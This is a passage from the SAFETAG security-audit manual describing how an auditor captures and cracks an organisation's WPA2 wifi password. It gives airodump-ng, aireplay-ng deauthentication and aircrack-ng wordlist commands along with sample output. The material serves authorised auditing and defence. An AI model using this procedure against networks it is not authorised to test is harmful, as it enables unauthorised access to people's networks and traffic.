$ sudo airodump-ng -c 1 --bssid 1A:2B:3C:4D:5E:6F -w sampleorg_airodump mon0 CH 1 ][ Elapsed: 12 mins ][ 2012-01-23 12:34 ][ fixed channel mon0: -1 BSSID PWR RXQ Beacons #Data, #/s 1A:2B:3C:4D:5E:6F -70 100 12345 BSSID STATION 1A:2B:3C:4D:5E:6F 1A:2B:3C:4D:5E:6F 01:23:45:67:89:01 AB:CD:EF:AB:CD:EF 0 0 1A:2B:3C:4D:5E:6F AA:BB:CC:DD:EE:FF -76 1A:2B:3C:4D:5E:6F A1:B2:C3:D4:E5:F6 -80 43210 PWR 6 Rate CH 1 MB CIPHER AUTH ESSID 12e. WPA2 CCMP Lost 0e- 0e 1e- 1 ENC Packets 186 0 12345 1234 0e- 1 0 1122 0e- 1 0 4321 PSK sampleorg Probes wifite is also useful for this step, and claims to automatically de-auth (step 3). Step 3: Next, the auditor forces a wireless client, possibly chosen at random, to disconnect and reconnect (an operation that is nearly always invisible to the user). In the example below, AB:CD:EF:AB:CD:EF is the MAC address of a laptop that was briefly disconnected in this way. $ aireplay-ng -0 1 -a 1A:2B:3C:4D:5E:6F -c AB:CD:EF:AB:CD:EF mon0 15:54:48 Waiting for beacon frame (BSSID: 1A:2B:3C:4D:5E:6F) on channel -1 15:54:49 Sending 64 directed DeAuth. STMAC: [AB:CD:EF:AB:CD:EF] [ 5| 3 ACKs] The goal of this step is to capture the cryptographic handshake that occurs when the targeted client reconnects. Try using different clients if the first one doesn't work, or try (physically) moving around. This handshake does not contain the WPA key itself, but once the the complete handshake process has been seen, the auditor (or a potential attacker) can leave the vicinity and run various password cracking tools to try and discover the password. While a complete password cracking tutorial is out of scope for SAFETAG documentation, below are three strategies: Step 4: The auditor attempts to discover the WPA password. A good wordlist with a few tweaks tends to break an unforunate number of passwords. Using a collection of all english words, all words from the language of the organization being audited, plus a combination of all these words, plus relevant keywords, addresses, and years tends to crack most wifi passwords. $ aircrack-ng -w pwdpairs.txt -b 1A:2B:3C:4D:5E:6F sampleorg_airodump*.cap For WPA captures, John can either feed in to an aircrack process or attack a capture directly. For captures, you first have to convert the .cap file (from wireshark, wifite, airodump, etc.) to a format that John likes. The Jumbo version we use has conversion tools Page 48 of 240